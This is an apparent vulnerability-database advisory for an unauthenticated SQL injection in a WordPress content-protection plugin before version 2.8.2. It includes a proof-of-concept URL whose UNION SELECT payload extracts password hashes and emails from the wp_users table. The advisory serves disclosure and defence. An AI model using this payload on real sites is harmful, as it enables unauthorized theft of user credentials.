Lucene search

K
wpvulndbKrzysztof ZającWPVDB-ID:1CD52D61-AF75-43ED-9B99-B46C471C4231
HistoryNov 08, 2021 - 12:00 a.m.

Secure Copy Content Protection and Content Locking < 2.8.2 - Unauthenticated SQL Injection

2021-11-0800:00:00
Krzysztof Zając
wpscan.com
14
secure copy content protection
content locking
unauthenticated
sql injection
ajax action
escape parameter
sql statement
poc
software

EPSS

0.565

Percentile

97.8%

The plugin does not escape the sccp_id parameter of the ays_sccp_results_export_file AJAX action (available to both unauthenticated and authenticated users) before using it in a SQL statement, leading to an SQL injection.

PoC

https://example.com/wp-admin/admin-ajax.php?action=ays_sccp_results_export_file&amp;sccp;_id[]=3)%20union%20select%201,user_pass,user_email,2,2,2%20from%20wp_users%20union%20select%201,1,1,1,1,1%20FROM%20wp_ays_sccp_reports%20WHERE%20(1=1%20&type;=json

EPSS

0.565

Percentile

97.8%